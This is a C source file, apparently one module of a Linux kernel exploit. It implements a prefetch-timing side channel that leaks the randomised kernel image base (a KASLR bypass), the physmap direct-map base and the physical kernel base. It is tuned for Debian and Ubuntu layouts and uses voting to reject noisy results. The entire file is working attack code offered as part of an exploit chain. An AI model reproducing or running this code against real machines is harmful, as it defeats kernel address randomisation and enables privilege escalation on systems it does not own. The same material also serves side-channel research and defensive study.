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| /*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "leak.h"
#define KASLR_START 0xffffffff81000000ULL
#define KASLR_END (KASLR_START + 0x40000000ULL)
#define KASLR_SLOT_SIZE 0x200000ULL
#define PHYSMAP_START 0xffff888000000000ULL
#define PHYSMAP_END 0xffffa48000000000ULL
#define PHYSMAP_SLOT_SIZE 0x40000000ULL
#define PHYSMAP_PROBE_OFFSET 0x10000000ULL
static inline uint64_t rdtsc_begin(void)
{
uint32_t lo, hi;
asm volatile("mfence; rdtscp; lfence"
: "=a"(lo), "=d"(hi) : : "rcx", "memory");
return ((uint64_t)hi << 32) | lo;
}
static inline uint64_t rdtsc_end(void)
{
uint32_t lo, hi;
asm volatile("lfence; rdtscp; mfence"
: "=a"(lo), "=d"(hi) : : "rcx", "memory");
return ((uint64_t)hi << 32) | lo;
}
static inline uint64_t prefetch_time(uint64_t address)
{
uint64_t before = rdtsc_begin();
asm volatile("prefetchnta (%0); prefetcht2 (%0)"
: : "r"(address) : "memory");
return rdtsc_end() - before;
}
static int compare_u64(const void *left, const void *right)
{
uint64_t a = *(const uint64_t *)left;
uint64_t b = *(const uint64_t *)right;
return (a > b) - (a < b);
}
static uint64_t median_copy(const uint64_t *values, size_t count)
{
uint64_t *copy = malloc(count * sizeof(*copy));
uint64_t result;
if (!copy) {
perror("malloc leak median");
exit(1);
}
memcpy(copy, values, count * sizeof(*copy));
qsort(copy, count, sizeof(*copy), compare_u64);
result = copy[count / 2];
free(copy);
return result;
}
static size_t find_edge(const uint64_t *timings, size_t count,
size_t window)
{
uint64_t median = median_copy(timings, count);
uint64_t current = 0;
uint64_t best;
size_t best_slot = 0;
if (!window || count < window) {
fprintf(stderr, "invalid prefetch window\n");
exit(1);
}
for (size_t i = 0; i < window; i++)
current += timings[i] > median ? timings[i] - median :
median - timings[i];
best = current;
for (size_t i = 1; i <= count - window; i++) {
uint64_t old = timings[i - 1];
uint64_t add = timings[i + window - 1];
current -= old > median ? old - median : median - old;
current += add > median ? add - median : median - add;
if (current > best) {
best = current;
best_slot = i;
}
}
return best_slot;
}
static uint64_t image_trial(int map_pages)
{
const size_t count = (KASLR_END - KASLR_START) / KASLR_SLOT_SIZE;
uint64_t *timings = malloc(count * sizeof(*timings));
size_t edge;
uint64_t result;
if (!timings) {
perror("malloc KASLR timings");
exit(1);
}
for (size_t i = 0; i < count; i++)
timings[i] = UINT64_MAX;
for (int sample = 0; sample < 100; sample++) {
for (size_t i = 0; i < count; i++) {
uint64_t value = prefetch_time(KASLR_START +
i * KASLR_SLOT_SIZE);
if (value < timings[i])
timings[i] = value;
}
}
edge = find_edge(timings, count, map_pages);
/* Debian's first detectable image slot is one 2-MiB slot after _text. */
if (edge)
edge--;
result = KASLR_START + edge * KASLR_SLOT_SIZE;
free(timings);
return result;
}
uint64_t leak_image_slide(int map_pages)
{
for (int round = 0; round < 5; round++) {
uint64_t candidate[3];
for (int i = 0; i < 3; i++)
candidate[i] = image_trial(map_pages);
for (int i = 0; i < 3; i++) {
int votes = 0;
for (int j = 0; j < 3; j++)
votes += candidate[i] == candidate[j];
if (votes >= 2) {
printf("[!] Leaked KASLR base: 0x%llx\n",
(unsigned long long)candidate[i]);
printf("[!] KASLR slide: 0x%llx\n",
(unsigned long long)(candidate[i] -
KASLR_START));
return candidate[i] - KASLR_START;
}
}
}
fprintf(stderr, "failed to leak KASLR base\n");
exit(1);
}
uint64_t leak_image_slide_checked(void)
{
/* A short edge window can occasionally lock onto a high-deviation
* subrange inside Ubuntu's image. The 22-, 26-, and 30-slot windows all
* begin at the same edge when the full image is selected, so require a
* majority across all three window lengths and three fresh trials each. */
static const int windows[] = { 22, 26, 30 };
for (int round = 0; round < 5; round++) {
uint64_t candidates[9];
int used = 0;
for (size_t window = 0;
window < sizeof(windows) / sizeof(windows[0]); window++)
for (int trial = 0; trial < 3; trial++)
candidates[used++] = image_trial(windows[window]);
for (int i = 0; i < used; i++) {
int votes = 0;
for (int j = 0; j < used; j++)
votes += candidates[i] == candidates[j];
if (votes >= 5) {
printf("[!] Checked KASLR base: %#llx (%d/9 votes)\n",
(unsigned long long)candidates[i], votes);
return candidates[i] - KASLR_START;
}
}
puts("[.] retrying inconsistent KASLR edge");
}
fprintf(stderr, "failed checked KASLR leak\n");
exit(1);
}
static uint64_t physmap_trial(void)
{
const size_t count = (PHYSMAP_END - PHYSMAP_START) / PHYSMAP_SLOT_SIZE;
uint64_t *timings = malloc(count * sizeof(*timings));
uint64_t result;
if (!timings) {
perror("malloc physmap timings");
exit(1);
}
for (size_t i = 0; i < count; i++)
timings[i] = UINT64_MAX;
for (int sample = 0; sample < 20; sample++) {
for (size_t i = 0; i < count; i++) {
uint64_t address = PHYSMAP_START + i * PHYSMAP_SLOT_SIZE +
PHYSMAP_PROBE_OFFSET;
uint64_t value = prefetch_time(address);
if (value < timings[i])
timings[i] = value;
}
}
/*
* The maximum three-slot edge window starts two 1-GiB slots below
* page_offset_base on the stock Debian layout. Returning that window
* start was the old helper's systematic -2 GiB bias. The third slot is
* the actual randomized direct-map base (verified against page_offset_base
* across fresh diagnostic boots; the exploit itself uses no privileged
* oracle).
*/
result = PHYSMAP_START + (find_edge(timings, count, 3) + 2) *
PHYSMAP_SLOT_SIZE;
free(timings);
return result;
}
uint64_t leak_phys_map_base_stable(int unused_map_pages)
{
uint64_t candidate[3];
(void)unused_map_pages;
for (int round = 0; round < 5; round++) {
for (int i = 0; i < 3; i++)
candidate[i] = physmap_trial();
for (int i = 0; i < 3; i++) {
int votes = 0;
for (int j = 0; j < 3; j++)
votes += candidate[i] == candidate[j];
if (votes >= 2) {
printf("[!] Leaked phys map base: 0x%llx\n",
(unsigned long long)candidate[i]);
return candidate[i];
}
}
}
fprintf(stderr, "failed to leak physmap base\n");
exit(1);
}
uint64_t leak_phys_map_base_checked(uint64_t physical_probe)
{
enum { CANDIDATES = 7, POINTS = 5, ROUNDS = 15, SAMPLES = 63 };
static unsigned int retry_depth;
uint64_t rough = leak_phys_map_base_stable(0);
uint64_t candidates[CANDIDATES];
uint64_t deviation_rounds[CANDIDATES][ROUNDS];
uint64_t scores[CANDIDATES];
uint64_t best_score = 0;
uint64_t best = rough;
const uint64_t probes[] = {
0x200000, 0x10000000, 0x20000000, 0x30000000,
physical_probe,
};
/* The broad edge can select an adjacent 1-GiB alias. Check it and six
* neighbours at several physical offsets. Only the true base maps the
* CPU1 entry-stack probe near the end of this 1-GiB guest. */
for (int candidate = 0; candidate < CANDIDATES; candidate++)
candidates[candidate] = rough +
(int64_t)(candidate - 4) * PHYSMAP_SLOT_SIZE;
for (int round = 0; round < ROUNDS; round++) {
uint64_t raw[CANDIDATES][POINTS];
for (int candidate = 0; candidate < CANDIDATES; candidate++) {
for (int point = 0; point < POINTS; point++) {
uint64_t timings[SAMPLES];
for (int sample = 0; sample < SAMPLES; sample++)
timings[sample] = prefetch_time(
candidates[candidate] + probes[point]);
raw[candidate][point] =
median_copy(timings, SAMPLES);
}
}
for (int candidate = 0; candidate < CANDIDATES; candidate++) {
uint64_t deviation = 0;
for (int point = 0; point < POINTS; point++) {
uint64_t values[CANDIDATES];
uint64_t baseline;
for (int i = 0; i < CANDIDATES; i++)
values[i] = raw[i][point];
baseline = median_copy(values, CANDIDATES);
deviation += raw[candidate][point] > baseline ?
raw[candidate][point] - baseline :
baseline - raw[candidate][point];
}
deviation_rounds[candidate][round] = deviation;
}
}
for (int candidate = 0; candidate < CANDIDATES; candidate++) {
scores[candidate] = median_copy(deviation_rounds[candidate],
ROUNDS);
printf("[.] physmap check candidate=%#llx deviation=%llu\n",
(unsigned long long)candidates[candidate],
(unsigned long long)scores[candidate]);
if (scores[candidate] > best_score) {
best_score = scores[candidate];
best = candidates[candidate];
}
}
{
int winners = 0;
for (int candidate = 0; candidate < CANDIDATES; candidate++)
winners += scores[candidate] == best_score;
if (!best_score || winners != 1) {
fprintf(stderr,
"ambiguous physmap check (score=%llu winners=%d)\n",
(unsigned long long)best_score, winners);
if (retry_depth++ < 2) {
puts("[.] retrying physmap leak");
return leak_phys_map_base_checked(physical_probe);
}
retry_depth = 0;
exit(1);
}
}
retry_depth = 0;
printf("[!] Checked phys map base: 0x%llx\n",
(unsigned long long)best);
return best;
}
static uint64_t kernel_phys_trial(uint64_t physmap_base, int map_pages)
{
/* mark_rodata_ro() splits the physical aliases covering the kernel image
* out of the normal 1-GiB direct-map leaf. The extra page-table level is
* visible to PREFETCH just like the virtual KASLR image edge. */
const size_t count = UINT64_C(0x40000000) / KASLR_SLOT_SIZE;
uint64_t *timings = malloc(count * sizeof(*timings));
size_t edge;
if (!timings) {
perror("malloc kernel physical timings");
exit(1);
}
for (size_t i = 0; i < count; i++)
timings[i] = UINT64_MAX;
for (int sample = 0; sample < 100; sample++) {
for (size_t i = 0; i < count; i++) {
uint64_t value = prefetch_time(physmap_base +
i * KASLR_SLOT_SIZE);
if (value < timings[i])
timings[i] = value;
}
}
edge = find_edge(timings, count, (size_t)map_pages);
free(timings);
return edge * KASLR_SLOT_SIZE;
}
uint64_t leak_kernel_phys_base(uint64_t physmap_base, int map_pages)
{
for (int round = 0; round < 5; round++) {
uint64_t candidate[3];
for (int i = 0; i < 3; i++)
candidate[i] = kernel_phys_trial(physmap_base, map_pages);
for (int i = 0; i < 3; i++) {
int votes = 0;
for (int j = 0; j < 3; j++)
votes += candidate[i] == candidate[j];
if (votes >= 2) {
printf("[!] Leaked physical kernel base: %#llx\n",
(unsigned long long)candidate[i]);
return candidate[i];
}
}
}
fprintf(stderr, "failed to leak physical kernel base\n");
exit(1);
}
|
